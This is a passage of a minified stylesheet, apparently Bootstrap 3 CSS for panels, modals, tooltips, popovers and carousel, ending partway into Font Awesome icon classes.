.list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-body:after,.panel-body:before{display:table;content:" "}.panel-body:after{clear:both}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle,.panel-title{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.list-group+.panel-footer,.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table-responsive>.table caption,.panel>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;appearance:none}.modal,.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translateY(-25%);-ms-transform:translateY(-25%);-o-transform:translateY(-25%);transform:translateY(-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header:after,.modal-header:before{display:table;content:" "}.modal-header:after{clear:both}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.42857;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;font-size:12px;filter:alpha(opacity=0);opacity:0}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px}.tooltip.top-left .tooltip-arrow,.tooltip.top-right .tooltip-arrow{bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{left:5px}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.42857;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;font-size:14px;background-color:#fff;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover>.arrow{border-width:11px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.carousel,.carousel-inner{position:relative}.carousel-inner{width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:left .6s ease-in-out;-o-transition:.6s ease-in-out left;transition:left .6s ease-in-out}.carousel-inner>.item>a>img,.carousel-inner>.item>img{display:block;max-width:100%;height:auto;line-height:1}@media (-webkit-transform-3d),(transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-moz-transition:-moz-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;-moz-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);left:0}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);left:0}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{-webkit-transform:translateZ(0);transform:translateZ(0);left:0}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:transparent;filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,.0001));background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:linear-gradient(90deg,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001));filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#80000000",endColorstr="#00000000",GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001),rgba(0,0,0,.5));background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:linear-gradient(90deg,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5));filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000",endColorstr="#80000000",GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;outline:0;filter:alpha(opacity=90);opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:"\2039"}.carousel-control .icon-next:before{content:"\203a"}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:transparent;border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:after,.clearfix:before{display:table;content:" "}.clearfix:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table!important}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table!important}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table!important}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table!important}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}}.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{animation:fa-spin 2s linear infinite}.fa-pulse{animation:fa-spin 1s steps(8) infinite}@keyframes fa-spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";transform:scaleX(-1)}.fa-flip-vertical{transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-ancho